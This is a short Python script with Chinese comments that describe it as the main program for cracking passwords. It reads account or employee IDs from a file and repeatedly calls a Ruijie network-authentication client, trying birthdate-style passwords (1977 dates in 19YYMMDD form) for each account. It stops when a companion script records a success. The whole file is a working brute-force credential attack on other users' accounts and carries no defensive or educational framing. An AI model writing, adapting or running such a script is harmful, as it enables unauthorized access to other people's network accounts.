"""
读取文件中的账号（一行视为一个），一个个的测试密码是否正确，这是破解密码的主程序，配合辅助程序kill_when_find.py 使用
"""

"""
使用一个进程或线程通过ping www.baidu.com来检查是否连通，或者直接使用另外一个程序来检查
"""
import os
import logging


def run_shell_command(command):
    os.system(command=command)


def int_to_str(num):
    if num < 10:
        return '0' + str(num)
    else:
        return str(num)


def read_ids(file):
    ids = []
    with open(file, 'r', encoding='utf-8')as reader:
        for line in reader.readlines():
            ids.append(line.strip())
    return ids


if __name__ == '__main__':
    ids = read_ids(file='valid_ids3.txt')
    for n in ids:  # 工号
        flag = False
        for y in range(77, 78):  # 年份
            if flag:
                break
            for m in range(1, 13):  # 月份
                if flag:
                    break
                for i in range(1, 31):  # 天
                    if os.path.exists('result_path/'+str(n)):
                        flag = True
                        break
                    comm = ''.join(
                        ['/root/rjtest/rjsupplicant/rjsupplicant.sh -u ', str(n), ' -p 19', str(y), int_to_str(m),
                         int_to_str(i), ' -d1'])
                    logging.error(comm)
                    run_shell_command(comm)

    # nohup python3 v1.py > v1.log 2>&1
